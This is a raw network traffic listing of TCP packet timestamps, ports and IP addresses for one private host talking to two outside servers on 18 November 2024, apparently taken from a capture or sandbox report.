Nov 18, 2024 08:55:22.882287025 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.882647038 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.882710934 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.882752895 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.883163929 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.883172035 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.883200884 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.883204937 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.885009050 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.885030985 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.885082006 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.885792017 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.885848045 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.885919094 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886002064 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886013985 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.886192083 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886212111 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.886308908 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886368036 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.886442900 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886557102 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.886586905 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.887001991 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.887032986 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.887090921 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.887185097 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.887198925 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.988981962 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.989159107 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.226038933 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.231187105 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.502908945 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.502973080 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.502988100 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503002882 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503035069 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503035069 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503108978 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503252983 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503264904 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503277063 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503307104 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503356934 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503655910 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503668070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503679991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503691912 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.503716946 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.503767014 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.504245996 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.504259109 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.504267931 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.504297972 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.504332066 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.612750053 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.613188982 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.613213062 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.613610983 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.613617897 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.621448994 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.621742964 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.621753931 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.622123003 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.622129917 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.628103971 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.628391981 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.628473043 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.628732920 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.628747940 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.634567976 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.634880066 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.634911060 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.635231018 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.635237932 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.638560057 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.638864994 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.638881922 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.639209986 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.639214993 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.657459974 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657546997 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.657565117 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657581091 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657592058 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657644033 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.657644987 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.657800913 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657815933 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657830000 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657840967 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.657866001 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.657866001 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.657927990 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658353090 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658365011 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658375978 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658387899 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658404112 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658417940 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658467054 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658889055 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658931971 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658941984 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658946037 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658957005 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.658977985 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.658993006 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.659470081 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.659518003 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.659537077 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.659549952 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.659553051 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.659560919 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.659564018 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.659596920 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.660420895 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.660435915 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.660459042 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.660473108 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.660487890 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.660491943 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.660491943 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.660509109 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.660538912 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.744956017 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.745013952 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.745070934 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.745198011 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.745239019 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.745275021 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.745295048 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748064995 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748090029 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748122931 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748152971 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748195887 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748222113 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748322010 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748352051 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748368025 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748387098 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.748409986 CET	49719	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.748420954 CET	443	49719	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.750374079 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.750417948 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.750482082 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.750590086 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.750605106 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.756623030 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.756839037 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.756927013 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.756967068 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.756968021 CET	49720	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.756990910 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.757013083 CET	443	49720	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.758692980 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.758709908 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.758774042 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.758882999 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.758893967 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.766077995 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.766135931 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.766190052 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.766269922 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.766288996 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.766303062 CET	49721	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.766310930 CET	443	49721	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.768127918 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.768150091 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.768291950 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.768371105 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.768381119 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.769939899 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.769995928 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.770060062 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.770140886 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.770153999 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.770164013 CET	49718	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.770169973 CET	443	49718	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.772031069 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.772039890 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.772105932 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.772222996 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:23.772233009 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:23.812264919 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812280893 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812299967 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812311888 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812325954 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812339067 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812378883 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812433004 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812496901 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812560081 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812627077 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812638998 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812649965 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812661886 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812674999 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812680006 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812686920 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812700033 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.812711954 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812736988 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.812761068 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.813427925 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813441992 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813462019 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813473940 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813479900 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.813484907 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813496113 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813499928 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.813508987 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813519001 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813539982 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.813540936 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.813574076 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.813592911 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814346075 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814392090 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814423084 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814435005 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814445019 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814456940 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814470053 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814475060 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814503908 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814517975 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814924002 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814945936 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814965963 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814971924 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814980030 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.814990997 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.814994097 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.815006018 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.815023899 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.815048933 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.815105915 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.815119028 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.815130949 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.815145016 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.815154076 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.815179110 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.815208912 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816000938 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816055059 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816057920 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816106081 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816106081 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816140890 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816158056 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816174030 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816188097 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816209078 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816219091 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816245079 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816277981 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816278934 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.816297054 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.816329002 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.966696978 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966707945 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966722965 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966736078 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966747046 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966770887 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.966814041 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.966842890 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966852903 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966873884 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966886044 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966888905 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.966897964 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.966912985 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.966943026 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967197895 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967210054 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967221022 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967232943 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967243910 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967267990 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967297077 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967550039 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967561007 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967571974 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967583895 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967600107 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967624903 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967715979 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967727900 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967766047 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.967878103 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967890024 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967895985 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.967941046 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.968051910 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968063116 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968101025 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.968218088 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968231916 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968266010 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.968389034 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968401909 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968413115 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968425035 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.968439102 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.968465090 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969011068 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969022036 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969033957 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969044924 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969058990 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969058990 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969083071 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969098091 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969187975 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969199896 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969208956 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969221115 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969232082 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969235897 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969243050 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969258070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969268084 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969295979 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.969813108 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.969858885 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.970021009 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970032930 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970045090 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970056057 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970081091 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.970108986 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:23.970196962 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970208883 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970221996 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:23.970235109 CET	80	49706	185.215.113.206	192.168.2.7
